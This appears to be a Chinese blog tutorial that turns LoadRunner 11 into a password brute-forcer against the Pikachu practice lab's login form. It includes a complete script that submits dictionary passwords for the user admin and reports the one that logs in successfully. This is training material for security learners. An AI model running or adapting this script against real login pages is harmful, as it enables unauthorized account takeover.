使用loadrunner11开展爆破测试

备注:阅读本文需要一定的loadrunner11操作基础和代码编写基础,请各位预知。

 

本次爆破目标为pikachu靶场,访问地址:http://192.168.0.108/pikachu/

我们本次测试默认的弱口令admin 123456

 

1)使用函数声明变量msg,其中LB和RB是通过页面解析出来的左右边界,如果访问成功,LB和RB之间的结果是login success

    Search=Body代表只搜索http响应体而不搜索响应头

web_reg_save_param("msg",  
        "LB=<span class=\"bigger-110\">Login</span>-->",  
        "RB=</div><!-- /.widget-main -->",   
        "Search=Body",  
        LAST);

 2)web_submit_data中的Value={pwd}为字典值,选中原有的密码点击右键如下图开展参数化工作

	web_submit_data("bf_form.php", 
		"Action=http://192.168.0.108/pikachu/vul/burteforce/bf_form.php", 
		"Method=POST", 
		"RecContentType=text/html", 
		"Referer=http://192.168.0.108/pikachu/vul/burteforce/bf_form.php", 
		"Snapshot=t19.inf", 
		"Mode=HTTP", 
		ITEMDATA, 
		"Name=username", "Value=admin", ENDITEM, 
		"Name=password", "Value={pwd}", ENDITEM, 
		"Name=submit", "Value=Login", ENDITEM, 
		LAST);

之后如下设置,Unique代表每个虚拟用户只能取一次值,Each iteration代表每次迭代只取一次

这里注意:如果显示的弱口令行数不够,需要修改:x:\Program Files (x86)\HP\LoadRunner\config\vugen.ini中MaxVisibleLines的值  其默认为100

我们可以点击Simulate Parameter进行模拟,这里要注意Vuser的数量必须可以被弱口令字典总数整除否则有些值会被略过

3)如果不包含登陆成功一律成功结束,否则在异常日志中打出密码,因为lr11在压测时默认不打正常日志,只关注异常日志,成功后使用lr_abort退出脚本

	if(strstr(lr_eval_string("{msg}"),"login success") != NULL ){
		lr_error_message("password is %s", lr_eval_string("{pwd}"));
		lr_abort();
	}

 4)完整代码

Action()
{

	web_add_cookie("PHPSESSID=qks5op6ak8mnu37si0kqv00ooo; DOMAIN=192.168.0.108");
	web_reg_save_param("msg",  
        "LB=<span class=\"bigger-110\">Login</span>-->",  
        "RB=</div><!-- /.widget-main -->",   
        "Search=Body",  
        LAST);  
	web_submit_data("bf_form.php", 
		"Action=http://192.168.0.108/pikachu/vul/burteforce/bf_form.php", 
		"Method=POST", 
		"RecContentType=text/html", 
		"Referer=http://192.168.0.108/pikachu/vul/burteforce/bf_form.php", 
		"Snapshot=t19.inf", 
		"Mode=HTTP", 
		ITEMDATA, 
		"Name=username", "Value=admin", ENDITEM, 
		"Name=password", "Value={pwd}", ENDITEM, 
		"Name=submit", "Value=Login", ENDITEM, 
		LAST);
	lr_output_message(lr_eval_string("{msg}"));
	if(strstr(lr_eval_string("{msg}"),"login success") != NULL ){
		lr_error_message("password is %s", lr_eval_string("{pwd}"));
		lr_abort();
	}
	return 0;
}

5)最大并发用户Vuser的数量必须可以被弱口令字典总数整除

直接启动5个用户,最大并发用户和系统稳定性有关系

6)最终结果,在右侧Errors中出现红色值就说明我们的异常日志打出来了,间接代表有密码猜解到

 

posted @ 2023-06-18 23:00  国产大熊猫~  阅读(214)  评论(0编辑  收藏  举报